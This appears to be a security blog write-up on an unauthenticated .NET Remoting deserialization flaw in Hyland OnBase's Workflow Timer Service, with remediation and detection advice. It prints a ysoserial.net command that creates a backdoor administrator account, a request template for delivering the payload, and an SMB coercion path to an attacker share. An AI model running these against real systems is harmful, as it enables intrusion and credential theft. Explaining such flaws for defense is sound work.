Grim Remoting: The Ghost of .NET Past Haunts Hyland OnBase

Enterprise Content Management (ECM) systems like Hyland OnBase are the invisible backbone of corporate bureaucracy. They store invoices, medical records, and legal documents. They are the digital filing cabinets of the Fortune 500. And, like actual filing cabinets, they tend to accumulate dust in the corners.

Meet the Workflow Timer Service. Its job is mundane: scheduling tasks and keeping workflows moving. But under the hood, this service is powered by .NET Remoting, a technology Microsoft explicitly deprecated years ago with a warning label that might as well say "DO NOT USE OR YOU WILL BE OWNED."

In 2026, finding .NET Remoting exposed to the network is like finding a Windows XP machine directly connected to the internet. It’s a museum piece, but one that grants NT AUTHORITY\SYSTEM privileges to anyone who knows how to ask politely (or impolitely) via TCP port 8900.

The root cause here is CWE-502: Deserialization of Untrusted Data. Specifically, the OnBase Workflow Timer Service exposes endpoints like TimerServiceAPI.rem and TimerServiceEvents.rem. These endpoints listen for incoming objects serialized using the BinaryFormatter.

The BinaryFormatter is the 'moldy bread' of the .NET ecosystem. It is powerful, convenient, and incredibly dangerous. When it deserializes data, it doesn't just read values; it reconstructs entire objects and their types before the application has a chance to say "Wait, I didn't order a reverse shell!"

Here is the logic flow of the failure:

1. The service opens TCP port 8900.
2. It accepts an HTTP POST request containing a binary blob.
3. It passes that blob to BinaryFormatter.Deserialize().
4. The formatter instantiates whatever class is defined in the blob.
5. If the blob contains a "gadget" (a class that triggers code execution upon instantiation or property access), the game is over.

> [!ALERT] No Authentication Required > The critical failure here is that the .rem endpoints are exposed without any authentication check prior to deserialization. The service processes the payload blindly.

While we don't have the raw source code of the proprietary Hyland service, we can reconstruct the crime scene based on how .NET Remoting is typically implemented—and exploited. A vulnerable server configuration usually looks innocent enough to a developer who hasn't read a security bulletin since 2010.

The Vulnerable Configuration

To expose a service via Remoting, you typically register a channel. The code likely resembles this:

// Pseudo-code of the vulnerability
BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
provider.TypeFilterLevel = TypeFilterLevel.Full; // <--- The smoking gun
 
IDictionary props = new Hashtable();
props["port"] = 8900;
 
TcpChannel channel = new TcpChannel(props, null, provider);
ChannelServices.RegisterChannel(channel, false);
 
RemotingConfiguration.RegisterWellKnownServiceType(
    typeof(TimerServiceAPI),
    "TimerServiceAPI.rem",
    WellKnownObjectMode.Singleton
);

Why TypeFilterLevel.Full Matters

Setting TypeFilterLevel to Full is often required for complex objects to pass over the wire, but it also allows the deserializer to instantiate any serializable type available in the memory space of the application. This includes dangerous types utilized by exploit chains like TypeConfuseDelegate.

Exploiting this is trivially easy for anyone with ysoserial.net. The attack doesn't require complex memory corruption or heap spraying. It just requires sending a specific packet.

The Attack Chain

1. Recon: The attacker scans for port 8900. If it's open, they check for the endpoint /TimerServiceAPI.rem.
2. Weaponization: The attacker generates a payload. The TypeConfuseDelegate gadget is the gold standard for .NET RCE because it works on almost all versions of the framework.

# Generating the payload with ysoserial.net
ysoserial.exe -f BinaryFormatter \
    -g TypeConfuseDelegate \
    -c "cmd.exe /c net user hacker P@ssw0rd123! /add && net localgroup administrators hacker /add" \
    -o base64

3. Delivery: The attacker wraps this payload in a standard .NET Remoting HTTP envelope.

POST /TimerServiceAPI.rem HTTP/1.1
Host: target-server:8900
Content-Type: application/octet-stream
Content-Length: [Length]
 
[...Binary Header...][...Malicious Serialized Object...]

4. Execution: The moment the server receives the request, BinaryFormatter kicks in. It reconstructs the delegate, invokes it, and suddenly you have a new local administrator. Since the Timer Service typically runs as SYSTEM, the attacker now owns the box completely.

Why is this a CVSS 10.0? Because it checks every box on the "worst case scenario" list.

• Privilege Level: The service runs as SYSTEM. This is the highest privilege level on Windows, above Administrator. It can dump credentials (LSASS), install persistent rootkits, and disable EDR solutions.
• Ease of Exploitation: No authentication is required. If the port is reachable, the server is vulnerable. The exploit is stable and 100% reliable.
• Lateral Movement: Once inside, the attacker can use the server as a pivot point. Since OnBase servers usually have extensive network access to databases and file shares, this is an ideal beachhead for a ransomware deployment.

Furthermore, even if RCE wasn't possible (it is), the endpoint supports SMB coercion. By sending a payload pointing to \\attacker-ip\share, the service will try to authenticate via NTLM, allowing the attacker to capture the hash and crack it or relay it.

There is no "patching" .NET Remoting to make it safe. The architecture itself is the vulnerability. Hyland's advice is clear, and for once, the vendor solution isn't just "upgrade," it's "delete."

Remediation Steps

1. Migrate: Move all functionality to the Unity Scheduler. This is the modern replacement introduced back in OnBase 16.
2. Uninstall: Remove the Hyland.Core.Workflow.NTService.exe service entirely. If the binary isn't there, it can't be exploited.
3. Firewall: If you absolutely cannot migrate immediately (why?), you must block TCP port 8900 from all external and workstation traffic. Only allow traffic from the specific application server that needs to talk to it, if any.

> [!TIP] Detecting the Legacy Service > Run this PowerShell command to check if the vulnerable service is active on your servers: > Get-Service | Where-Object { $_.Name -like "*Workflow Timer*" }